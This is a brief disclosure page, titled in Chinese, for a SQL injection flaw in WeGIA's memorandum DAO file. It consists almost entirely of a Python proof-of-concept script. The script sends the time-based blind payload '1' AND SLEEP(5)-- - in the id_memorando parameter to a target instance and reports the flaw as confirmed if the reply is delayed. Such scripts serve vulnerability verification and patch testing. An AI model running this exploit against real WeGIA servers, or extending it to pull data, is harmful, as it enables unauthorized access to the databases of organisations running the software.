CVE-2026-35395 WeGIA SQL注入漏洞

import requests # Target URL example # The vulnerable file is dao/memorando/DespachoDAO.php url = "http://target-weigia-instance/dao/memorando/DespachoDAO.php" # The vulnerable parameter is 'id_memorando' # Payload to test SQL Injection (Blind or Error based) # Attempting to cause a delay or specific output to confirm vulnerability payload = { "id_memorando": "1' AND SLEEP(5)-- -" } try: # Send the request # Note: Authentication cookie/session may be required as PR:L is Low response = requests.get(url, params=payload, timeout=10) # Analyze response time to confirm blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time-based analysis.") else: print("[-] Test failed or patched.") except requests.RequestException as e: print(f"Error connecting to target: {e}")